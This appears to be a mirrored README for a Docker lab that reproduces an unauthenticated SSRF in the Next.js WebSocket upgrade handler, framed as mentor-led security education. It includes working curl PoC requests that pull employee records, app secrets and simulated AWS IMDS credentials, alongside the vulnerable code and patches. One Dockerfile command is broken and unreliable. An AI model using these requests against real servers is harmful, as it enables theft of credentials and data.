## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LXXEXXBXX-CVE-2026-44578
# CVE-2026-44578 β Next.js WebSocket Upgrade Handler SSRF Lab
> **Security Academy CERT Project** vulnerability reproduction lab environment for mentor demos
* * *
## Overview
Item| Details
---|---
CVE| CVE-2026-44578
GHSA| GHSA-c4j6-fc7j-m34r
CVSS| 8.6 (High)
CWE| CWE-918 (Server-Side Request Forgery)
Affected Versions| Next.js 13.4.13 β 15.5.15, 16.0.0 β 16.2.4
Patched Versions| 15.5.16+, 16.2.5+
Authentication Required| None (Unauthenticated)
Next.js's WebSocket upgrade handler (`upgradeHandler`) proxies **absolute-form URIs** (RFC 7230 Β§5.3.2) inserted into the HTTP request line to internal services without validation.
This allows arbitrary HTTP requests to be sent to internal services that are inaccessible from the outside (SSRF).
* * *
## Lab Architecture
root@kitploit:~
[Attacker]
β
β WebSocket Upgrade request
β GET http://internal-svc/api/v1/employees HTTP/1.1
β Connection: Upgrade / Upgrade: websocket
βΌ
[nextjs-vuln :3000] β externally exposed
β
β unvalidated proxy (proxyRequest)
βΌ
[internal-svc :80] β internal network only, no direct external access
β
βββ GET /api/v1/employees β employee DB (nameΒ·emailΒ·salaryΒ·pw_hash)
βββ GET /api/v1/config β DB passwordΒ·JWT secretΒ·Redis password
βββ GET /latest/meta-data/β¦ β AWS IMDS simulation (IAM credentials)
docker-compose βββ nextjs-vuln (Next.js 15.5.0, vulnerable version) βββ internal-svc (FastAPI + SQLite, internal network only)
* * *
## Environment Setup and Execution
### Prerequisites
* Docker 24+
* Docker Compose v2
### Execution
root@kitploit:~
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
After the build completes, it takes 30β60 seconds for Next.js to be ready.
Verify readiness:
root@kitploit:~
curl -s http://localhost:3000/api/hello | grep ok
* * *
## Vulnerability Reproduction (PoC)
### Attack Flow
Normal HTTP requests only include a path in the form `GET /path HTTP/1.1`,
but RFC 7230 Β§5.3.2 allows **absolute-form** , which places the full URL in the request line.
GET http://internal-svc/api/v1/employees HTTP/1.1 β absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Next.js's `upgradeHandler` parses this URL and, if `parsedUrl.protocol` exists,
calls `proxyRequest()` without destination validation.
The `curl --request-target` option can be used to specify the request line directly.
### STEP 1 β Confirm direct access to internal service is blocked
root@kitploit:~
curl -s --connect-timeout 3 http://internal-svc/health
# β connection failed (internal network cannot be reached directly from outside)
### STEP 2 β SSRF health check of internal service
root@kitploit:~
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
### STEP 3 β Exfiltrate employee DB
root@kitploit:~
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
β Returns all namesΒ·emailsΒ·salariesΒ·bcrypt hashes
### STEP 4 β Exfiltrate app config (DB passwordΒ·JWT secret)
root@kitploit:~
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
### STEP 5 β Exfiltrate AWS IMDS credentials (2 stages)
root@kitploit:~
# 5-1: Enumerate IAM role names
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: Exfiltrate credentials
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
* * *
## Internal Working Principle
### Vulnerable Code (`router-server.js` upgradeHandler)
root@kitploit:~
// Next.js 15.5.0 ~ 15.5.15 β vulnerable
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // β no destination validation
return await proxyRequest(req, socket, parsedUrl, head);
}
As long as `parsedUrl.protocol` exists, it proxies immediately. Whether the target host is an internal IP or
IMDS (`169.254.169.254`), it is always forwarded.
### Official Patch (`15.5.16+`)
root@kitploit:~
// Next.js 15.5.16+ β patched
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // β finished guard added
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
`finished` is only `true` when the request matches a normal route inside `resolveRoutes`.
Since absolute-form URIs do not match normal routes, `finished === false` β proxy is blocked.
### Lab Patch Structure (`patch-for-lab.js`)
In the reproduction environment, `resolve-routes.js` misinterprets `://` as consecutive slashes and
collapses `http://host/path` to `http:/host/path`, which inadvertently blocks the SSRF.
`patch-for-lab.js` disables this behavior so the vulnerability can be reproduced normally.
* * *
## Patching Methods
### Method 1 β npm upgrade (recommended)
root@kitploit:~
# 15.x series
npm install next@">=15.5.16"
# 16.x series
npm install next@">=16.2.5"
# Verify version
npx next --version
### Method 2 β Pin version in Dockerfile
root@kitploit:~
RUN npm install some-email@example.com --legacy-peer-deps
# or pin "next": "15.5.16" in package.json, then
RUN npm ci
### Method 3 β Direct code patch without version upgrade
Apply the official patch logic to the current version using the included `patch-defense.js`:
root@kitploit:~
# Inside the lab container
node patch-defense.js
# Check status only (no file modification)
node patch-defense.js --check
After applying the patch, SSRF requests are blocked without a response.
* * *
## File Structure
CVE-2026-44578/ βββ docker-compose.yml βββ nextjs-app/ β βββ Dockerfile β βββ patch-for-lab.js # resolve-routes patch (for SSRF reproduction) β βββ patch-defense.js # router-server defense patch (proves code-level defense) β βββ ... βββ internal-svc/ β βββ Dockerfile β βββ server.py # FastAPI internal service (SQLite + IMDS simulation) β βββ requirements.txt βββ exploit/ βββ demo.sh # 6-stage automated demo script
* * *
## Disclaimer
This repository is provided **solely for security education and vulnerability research purposes**.
Using it for unauthorized attacks against real services is illegal, and
all testing must be performed only in environments you own or have explicit permission to test.
> This repository is intended solely for **educational and authorized security research**.
> Unauthorized use against production systems is illegal.
> All testing must be performed only in environments you own or have explicit permission to test.
* * *
## References
* Next.js Security Advisory (GHSA-c4j6-fc7j-m34r)
* RFC 7230 Β§5.3.2 β absolute-form
* CWE-918: Server-Side Request Forgery